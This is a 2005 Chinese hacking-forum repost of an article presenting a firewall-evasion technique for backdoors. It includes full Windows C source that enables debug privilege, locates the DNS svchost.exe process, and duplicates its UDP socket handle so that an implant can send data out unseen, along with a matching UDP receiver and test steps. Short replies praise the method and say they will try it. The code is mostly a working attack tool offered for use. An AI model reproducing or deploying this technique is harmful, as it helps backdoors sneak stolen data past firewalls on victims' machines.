Board logo

标题: [转载]一种新的穿透防火墙的数据传输技术 [打印本页]

作者: 千與千尋    时间: 2005-4-13 17:44     标题: [转载]一种新的穿透防火墙的数据传输技术

文章作者:ZwelL 使用该技术背景: 在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么). 针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦. 相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单: 将其他进程中允许数据传输的套接字句柄拿为已用.过程如下: 1. 找出目标进程 2. 找出SOCKET句柄 2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用. 3. 用转换后的SOCKET进行数据传输 上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也 可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP. 针对不同系统不同进程我们很难定位一个稳定的进程SOCKET. 看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道". 我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被 拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀... 下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子. 编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等. 具体解决方法请细看注释部分...
  1. /*++
  2. Made By ZwelL
  3. [email]zwell@sohu.com[/email]
  4. 2005.4.12
  5. --*/
  6. &#35;include <winsock2.h>
  7. &#35;include <stdio.h>
  8. &#35;include <wtsapi32.h>
  9. &#35;pragma comment(lib, "ws2_32")
  10. &#35;pragma comment(lib, "wtsapi32")
  11. &#35;define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
  12. &#35;define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
  13. typedef LONG NTSTATUS;
  14. typedef struct _SYSTEM_HANDLE_INFORMATION
  15. {
  16. ULONG ProcessId;
  17. UCHAR ObjectTypeNumber;
  18. UCHAR Flags;
  19. USHORT Handle;
  20. PVOID Object;
  21. ACCESS_MASK GrantedAccess;
  22. } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
  23. typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
  24. ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
  25. BOOL LocateNtdllEntry ( void )
  26. {
  27. BOOL ret = FALSE;
  28. char NTDLL_DLL[] = "ntdll.dll";
  29. HMODULE ntdll_dll = NULL;
  30. if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
  31. {
  32. printf( "GetModuleHandle() failed");
  33. return( FALSE );
  34. }
  35. if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
  36. {
  37. goto LocateNtdllEntry_exit;
  38. }
  39. ret = TRUE;
  40. LocateNtdllEntry_exit:
  41. if ( FALSE == ret )
  42. {
  43. printf( "GetProcAddress() failed");
  44. }
  45. ntdll_dll = NULL;
  46. return( ret );
  47. }
  48. /*++
  49. This routine is used to get a process';s username from it';s SID
  50. --*/
  51. BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
  52. {
  53. // sanity checks and default value
  54. if (pUserSid == NULL)
  55. return false;
  56. strcpy(szUserName, "?");
  57. SID_NAME_USE snu;
  58. TCHAR szUser[_MAX_PATH];
  59. DWORD chUser = _MAX_PATH;
  60. PDWORD pcchUser = &chUser;
  61. TCHAR szDomain[_MAX_PATH];
  62. DWORD chDomain = _MAX_PATH;
  63. PDWORD pcchDomain = &chDomain;
  64. // Retrieve user name and domain name based on user';s SID.
  65. if (
  66. ::LookupAccountSid(
  67. NULL,
  68. pUserSid,
  69. szUser,
  70. pcchUser,
  71. szDomain,
  72. pcchDomain,
  73. &snu
  74. )
  75. )
  76. {
  77. wsprintf(szUserName, "%s", szUser);
  78. }
  79. else
  80. {
  81. return false;
  82. }
  83. return true;
  84. }
  85. /*++
  86. This routine is used to get the DNS process';s Id
  87. Here, I use WTSEnumerateProcesses to get process user Sid,
  88. and then get the process user name. Beacause as it';s a "NETWORK SERVICE",
  89. we cann';t use OpenProcessToken to catch the DNS process';s token information,
  90. even if we has the privilege in catching the SYSTEM';s.
  91. --*/
  92. DWORD GetDNSProcessId()
  93. {
  94. PWTS_PROCESS_INFO pProcessInfo = NULL;
  95. DWORD ProcessCount = 0;
  96. char szUserName[255];
  97. DWORD Id = -1;
  98. if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
  99. {
  100. // dump each process description
  101. for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
  102. {
  103. if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
  104. {
  105. GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
  106. if( strcmp(szUserName, "NETWORK SERVICE") == 0)
  107. {
  108. Id = pProcessInfo[CurrentProcess].ProcessId;
  109. break;
  110. }
  111. }
  112. }
  113. WTSFreeMemory(pProcessInfo);
  114. }
  115. return Id;
  116. }
  117. /*++
  118. This doesn';t work as we know, sign...
  119. but you can use the routine for other useing...
  120. --*/
  121. /*
  122. BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
  123. {
  124. HANDLE hProcess = NULL,
  125. hAccessToken = NULL;
  126. TCHAR InfoBuffer[1000], szDomainName[200];
  127. PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
  128. DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
  129. SID_NAME_USE snu;
  130. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
  131. if(hProcess == NULL)
  132. {
  133. printf("OpenProcess wrong");
  134. CloseHandle(hProcess);
  135. return false;
  136. }
  137. if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
  138. {
  139. printf("OpenProcessToken wrong:%08x", GetLastError());
  140. return false;
  141. }
  142. GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
  143. 1000, &dwInfoBufferSize);
  144. LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
  145. &dwAccountSize,szDomainName, &dwDomainSize, &snu);
  146. if(hProcess)
  147. CloseHandle(hProcess);
  148. if(hAccessToken)
  149. CloseHandle(hAccessToken);
  150. return true;
  151. }*/
  152. /*++
  153. Now, it is the most important stuff... ^_^
  154. --*/
  155. SOCKET GetSocketFromId (DWORD PID)
  156. {
  157. NTSTATUS status;
  158. PVOID buf = NULL;
  159. ULONG size = 1;
  160. ULONG NumOfHandle = 0;
  161. ULONG i;
  162. PSYSTEM_HANDLE_INFORMATION h_info = NULL;
  163. HANDLE sock = NULL;
  164. DWORD n;
  165. buf=malloc(0x1000);
  166. if(buf == NULL)
  167. {
  168. printf("malloc wrong\n");
  169. return NULL;
  170. }
  171. status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
  172. if(STATUS_INFO_LENGTH_MISMATCH == status)
  173. {
  174. free(buf);
  175. buf=malloc(n);
  176. if(buf == NULL)
  177. {
  178. printf("malloc wrong\n");
  179. return NULL;
  180. }
  181. status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
  182. }
  183. else
  184. {
  185. printf("ZwQuerySystemInformation wrong\n");
  186. return NULL;
  187. }
  188. NumOfHandle = *(ULONG*)buf;
  189. h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
  190. for(i = 0; i<NumOfHandle ;i++)
  191. {
  192. try
  193. {
  194. if( ( h_info[i].ProcessId == PID ) && ( h_info[i].ObjectTypeNumber == 0x1c )
  195. && (h_info[i].Handle!=0x2c) // I don';t know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
  196. // So I jump over this situation...
  197. // May be it';s different in your system,
  198. ) //wind2000 is 0x1a
  199. {
  200. //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
  201. if( 0 == DuplicateHandle(
  202. OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
  203. (HANDLE)h_info[i].Handle,
  204. GetCurrentProcess(),
  205. &sock,
  206. STANDARD_RIGHTS_REQUIRED,
  207. true,
  208. DUPLICATE_SAME_ACCESS)
  209. )
  210. {
  211. printf("DuplicateHandle wrong:%8x", GetLastError());
  212. continue;
  213. }
  214. //printf("DuplicateHandle ok\n");
  215. sockaddr_in name = {0};
  216. name.sin_family = AF_INET;
  217. int namelen = sizeof(sockaddr_in);
  218. getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
  219. //printf("PORT=%5d\n", ntohs( name.sin_port ));
  220. if(ntohs(name.sin_port)>0) // if port > 0, then we can use it
  221. break;
  222. }
  223. }
  224. catch(...)
  225. {
  226. continue;
  227. }
  228. }
  229. if ( buf != NULL )
  230. {
  231. free( buf );
  232. }
  233. return (SOCKET)sock;
  234. }
  235. /*++
  236. This is not required...
  237. --*/
  238. BOOL EnablePrivilege (PCSTR name)
  239. {
  240. HANDLE hToken;
  241. BOOL rv;
  242. TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
  243. LookupPrivilegeV&#97;lue (
  244. 0,
  245. name,
  246. &priv.Privileges[0].Luid
  247. );
  248. priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  249. OpenProcessToken(
  250. GetCurrentProcess (),
  251. TOKEN_ADJUST_PRIVILEGES,
  252. &hToken
  253. );
  254. AdjustTokenPrivileges (
  255. hToken,
  256. FALSE,
  257. &priv,
  258. sizeof priv,
  259. 0,
  260. 0
  261. );
  262. rv = GetLastError () == ERROR_SUCCESS;
  263. CloseHandle (hToken);
  264. return rv;
  265. }
  266. void main()
  267. {
  268. WSADATA wsaData;
  269. char testbuf[255];
  270. SOCKET sock;
  271. sockaddr_in RecvAddr;
  272. int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
  273. if (iResult != NO_ERROR)
  274. printf("Error at WSAStartup()\n");
  275. if(!LocateNtdllEntry())
  276. return;
  277. if(!EnablePrivilege (SE_DEBUG_NAME))
  278. {
  279. printf("EnablePrivilege wrong\n");
  280. return;
  281. }
  282. sock = GetSocketFromId(GetDNSProcessId());
  283. if( sock==NULL)
  284. {
  285. printf("GetSocketFromId wrong\n");
  286. return;
  287. }
  288. //Change there value...
  289. RecvAddr.sin_family = AF_INET;
  290. RecvAddr.sin_port = htons(5555);
  291. RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  292. if(SOCKET_ERROR == sendto(sock,
  293. "test",
  294. 5,
  295. 0,
  296. (SOCKADDR *) &RecvAddr,
  297. sizeof(RecvAddr)))
  298. {
  299. printf("sendto wrong:%d\n", WSAGetLastError());
  300. }
  301. else
  302. {
  303. printf("send ok... Have fun, right? ^_^\n");
  304. }
  305. getchar();
  306. //WSACleanup();
  307. return;
  308. }
复制代码
很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中, 因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken, 但是怎么也不行,所以换个方法.用到了wtsapi32库函数. 再用下面的代码测试
  1. /*++
  2. UdpReceiver
  3. --*/
  4. &#35;include <stdio.h>
  5. &#35;include "winsock2.h"
  6. &#35;pragma comment(lib, "ws2_32")
  7. void main()
  8. {
  9. WSADATA wsaData;
  10. SOCKET RecvSocket;
  11. sockaddr_in RecvAddr;
  12. int Port = 5555;
  13. char RecvBuf[1024];
  14. int BufLen = 1024;
  15. sockaddr_in SenderAddr;
  16. int SenderAddrSize = sizeof(SenderAddr);
  17. //-----------------------------------------------
  18. // Initialize Winsock
  19. WSAStartup(MAKEWORD(2,2), &wsaData);
  20. //-----------------------------------------------
  21. // Create a receiver socket to receive datagrams
  22. RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  23. //-----------------------------------------------
  24. // Bind the socket to any address and the specified port.
  25. RecvAddr.sin_family = AF_INET;
  26. RecvAddr.sin_port = htons(Port);
  27. RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
  28. bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));
  29. //-----------------------------------------------
  30. // Call the recvfrom function to receive datagrams
  31. // on the bound socket.
  32. printf("Receiving datagrams...\n");
  33. while(1)
  34. {
  35. recvfrom(RecvSocket,
  36. RecvBuf,
  37. BufLen,
  38. 0,
  39. (SOCKADDR *)&SenderAddr,
  40. &SenderAddrSize);
  41. printf("%s\n", RecvBuf);
  42. }
  43. //-----------------------------------------------
  44. // Close the socket when finished receiving datagrams
  45. printf("Finished receiving. Closing socket.\n");
  46. closesocket(RecvSocket);
  47. //-----------------------------------------------
  48. // Clean up and exit.
  49. printf("Exiting.\n");
  50. WSACleanup();
  51. return;
  52. }
复制代码
测试步骤: 1. 在一台机器上执行UdpReceiver, 2. 在安装防火墙的机器上执行第一个程序. 有什么问题,希望大家可以交流交流...^_^
作者: x86    时间: 2005-4-13 22:35     标题: [转载]一种新的穿透防火墙的数据传输技术

看起来思路不错,收下看看先!
作者: liangchuang    时间: 2005-4-14 09:16     标题: [转载]一种新的穿透防火墙的数据传输技术

真的可以吗?我也来试试!`
作者: 壁虎    时间: 2005-4-14 13:28     标题: [转载]一种新的穿透防火墙的数据传输技术

真的是不怕做不到,只怕想不到啊。收下了。。




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2